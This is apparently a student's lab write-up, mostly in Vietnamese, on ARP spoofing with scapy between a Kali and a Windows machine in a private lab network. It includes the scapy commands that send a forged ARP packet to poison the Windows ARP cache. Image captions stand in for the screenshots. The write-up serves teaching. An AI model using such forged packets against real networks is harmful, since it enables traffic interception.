**Lab-Project 7: ARP Spoofing with scapy**

**Finding the IP Address of the Windows Machine**

+ Trên máy Windows, sử dụng lệnh **ipconfig**:

A computer screen with white text

Description automatically generated

**Clearing the ARP Cache on the Windows Machine:**

+ Sử dụng lệnh **arp -d\***: xóa các gói ARP cũ đã gửi

+ Tại máy **Kali**, sử dụng lênh: **ping 192.168.64.170:**A screenshot of a computer program

Description automatically generated

+ Trên máy **Windows** Sử dụng lệnh **arp -a** để liệt kê:

**A screenshot of a computer program

Description automatically generated**

**=>** Gói đã được gửi từ máy Kali sang Windows

**Sending an ARP from scapy:**

+ Trên máy kali, mở scapy bằng lệnh **scapy:**

**+** Setup bằng các lệnh như sau:

**a = ARP()**

**a.display()**

**A screen shot of a computer screen

Description automatically generated**

**=>** Thông báo này có nghĩa là hệ thống của bạn không tìm thấy tuyến đường mặc định để gửi dữ liệu qua mạng. Điều này có thể do bảng định tuyến không được thiết lập đúng cách hoặc không có tuyến đường nào được xác định để định tuyến gói tin ra ngoài mạng.

\*\* Fixing: Sử dụng lệnh: **ip route add default via [ip\_address\_Kali\_machine]**

**A black background with white text

Description automatically generated**

**+** chạy lại scapy:

**A screen shot of a computer screen

Description automatically generated**

**+** Setup như sau:

a.pdst= “192.168.64.170”

a.hwsrc= “quot;11:11:11:11:11:11”

a.psrc= “1.1.1.1”

a.hwdst= “ff:ff:ff:ff:ff:ff”

send(a)

**A screen shot of a computer code

Description automatically generated**

**Viewing the ARP Cache on the Windows Machine**

**+** Tại máy Windows, sử dụng lệnh **arp -a** và thu được:

**A computer screen shot of a black screen

Description automatically generated**